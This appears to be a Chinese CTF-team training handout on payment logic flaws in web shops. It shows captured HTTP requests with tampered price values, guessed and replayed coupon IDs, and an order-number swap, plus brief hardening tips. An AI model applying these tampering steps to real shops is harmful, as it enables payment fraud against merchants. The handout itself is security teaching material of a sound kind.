河南省高校联盟战队课件10(支付逻辑漏洞)
详细视频和总文章:
支付逻辑漏洞
总文章链接
漏洞描述及测试方法:
实际上这个情况常见的情况有:
负值反冲、正负值对冲、甚至是直接修改数量单价、总价等等。
负值反冲,就是说程序没有校验订单的取值范围,若是使用负值则可以进行支付逻辑利用;
正负值对冲,是指,通过修改订单的数量或者是单价、总价来达到少付钱的目的,但是你的值不能是负值
此次带来的案例,就是我在测试过程遇到的一个,部分课程需要加入购物车后充值购买,于是乎我将单价、总数进行更改,成功的达到了少付款的目的,一元购。
一、数量价格问题
- 数量价格方面的修改
- 尝试修改数据 price 把5400改为54
- 修改后页面显示为了54(具体情况具体分析)
最终是否成功要试过才知道不清的可以看看前面的那个
二、低价购买高价商品
用BurpSuite抓取相应的数据包
大米测试产品数据包(6000)
数据包如下:
GET /index.php?m=Member&a=gobuy&iscart=0&id=127&name=%E5%A4%A7%E7%B1%B3%E6%B5%8B%E8%AF%95%E4%BA%A7%E5%93%81&qty=1&price=6000>ype=%E7%81%B0%E8%89%B2&pic=/Public/Uploads/thumb/thumb_1393218295.jpg
大米手机数据包(5400)
GET /index.php?m=Member&a=gobuy&iscart=0&id=70&name=%E5%A4%A7%E7%B1%B3%E6%89%8B%E6%9C%BACMS&qty=1&price=5400>ype=%E7%81%B0%E8%89%B2&pic=/Public/Uploads/thumb/thumb_1393218295.jpg
改包后
修改后的数据包如下:
GET /index.php?m=Member&a=gobuy&iscart=0&id=127&name=%E5%A4%A7%E7%B1%B3%E6%B5%8B%E8%AF%95%E4%BA%A7%E5%93%81&qty=1&price=5400>ype=%E7%81%B0%E8%89%B2&pic=/Public/Uploads/thumb/thumb_1393218295.jpg HTTP/1.1
结果:以5400买到6000的东西(最后结果要真实验证才行)
三、 优惠券
- 重复使用-重放数据包
- 优惠券猜测并使用
1、 优惠券猜测并使用
(1)有优惠券的数据包
- goods_sku_list=1%3A1&leavemessage=&use_coupon=121954&integral=0&account_balance=0&pay_type=0&buyer_invoice=&pick_up_id=0&express_company_id=1
- goods_sku_list=1%3A1&leavemessage=&use_coupon=121955&integral=0&account_balance=0&pay_type=0&buyer_invoice=&pick_up_id=0&express_company_id=1
(2)没有优惠券的数据包
- goods_sku_list=1%3A1&leavemessage=&use_coupon=0&integral=0&account_balance=0&pay_type=0&buyer_invoice=&pick_up_id=0&express_company_id=1
通过判断二者数据包可以看出二者主要区别在use_coupon=的参数
尝试修改use_coupon=参数 从而猜测优惠券的规律
结果成功变为9000
成功猜测出优惠券的规律并使用
2、优惠券的重复利用
优惠券的编号121956
我们在次抓包修改优惠券的编号相同看优惠券是否可以复用
可以看到这里的优惠券是可以重复利用的
加固方法:
- 固定用户id
- 用完后删除
四、订单的交换
尝试订单的交换(以少价钱的订单购买多价钱的订单)
100000喵图(10)
GET /index.php?s=/order/orderPay&id=18
GET /index.php?s=/wap/pay/getpayvalue&out_trade_no=1651219745504
10000喵图(1)
GET /index.php?s=/order/orderPay&id=17
GET /index.php?s=/wap/pay/getpayvalue&out_trade_no=1651219894391
修改订单号
18id----订单编号
10w的订单改为1w
订单价格 订单数量
以1w买10w的东西 付款1w
订单编号为10w 修改订单编号为1w 付款1w
修改订单编号
这里是不行的(只提供一个思路)